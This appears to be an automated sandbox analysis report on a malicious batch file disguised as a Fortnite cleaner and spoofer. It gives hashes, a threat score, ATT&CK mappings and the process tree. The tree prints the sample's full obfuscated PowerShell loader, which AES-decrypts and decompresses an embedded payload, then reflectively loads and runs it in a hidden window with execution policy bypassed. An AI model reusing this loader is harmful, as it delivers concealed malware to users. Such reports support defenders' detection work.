6a52f0cf77b3706de713eff3d7e038ff13d5ca7c8fc837f4eee0adac079cf522

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29/12/2024, 21:58

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General

Target

FortniteCleanerandSpoofer.bat
Size

11.7MB
MD5

2633869ac4a9cb98b01488ac2cb20d72
SHA1

167871fab0a19acaf7ad22144d8fdb5b09959a28
SHA256

6a52f0cf77b3706de713eff3d7e038ff13d5ca7c8fc837f4eee0adac079cf522
SHA512

f4d48d8e672d828c79b65b886c1ca3a423701cd6a8077c0ab78c4d2e60284ed505fc971975beab3e79bd9b9c20f821b52111258642c8bbb4024891a343004543
SSDEEP

49152:z+8TuE0MoXJ8qRdxr47sbd6rBJYqfpbAgpK64KspQPEf+UWONvGFni6xha3DrNG0:k

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 2696	2160	cmd.exe	31
PID 2160 wrote to memory of 2696	2160	cmd.exe	31
PID 2160 wrote to memory of 2696	2160	cmd.exe	31
PID 2160 wrote to memory of 2704	2160	cmd.exe	32
PID 2160 wrote to memory of 2704	2160	cmd.exe	32
PID 2160 wrote to memory of 2704	2160	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function wxtqr($ODxam){ $yFHSw=[System.Security.Cryptography.Aes]::Create(); $yFHSw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $yFHSw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $yFHSw.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MlS5vgEV14RQQ3ZEfZqUBeQcgrXfss4V2pUy4tjwV1I='); $yFHSw.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('nxrFwGMsIIo9SFRZFcB28A=='); $maSQj=$yFHSw.CreateDecryptor(); $return_var=$maSQj.TransformFinalBlock($ODxam, 0, $ODxam.Length); $maSQj.Dispose(); $yFHSw.Dispose(); $return_var;}function WDxBz($ODxam){ $GXRNP=New-Object System.IO.MemoryStream(,$ODxam); $ruNFB=New-Object System.IO.MemoryStream; Invoke-Expression '$PBbkq #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$GXRNP,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $PBbkq.CopyTo($ruNFB); $PBbkq.Dispose(); $GXRNP.Dispose(); $ruNFB.Dispose(); $ruNFB.ToArray();}function HXYOu($ODxam,$waUGN){ $agWIT = @( '$XEdTc = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$ODxam);'.Replace("#", ""), '$PzJKk = $XEdTc.EntryPoint;', '$PzJKk.Invoke($null, $waUGN);' ); foreach ($ayBSI in $agWIT) { Invoke-Expression $ayBSI };}$ulpxy=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat').Split([Environment]::NewLine);foreach ($WdBTO in $ulpxy) { if ($WdBTO.StartsWith('SIROXEN')) { $xSKPu=$WdBTO.Substring(7); break; }}$NWMte=WDxBz (wxtqr ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($xSKPu)));HXYOu $NWMte (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat')); "
  2⤵
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2704-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download
memory/2704-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2704-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2704-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-8-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-11-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download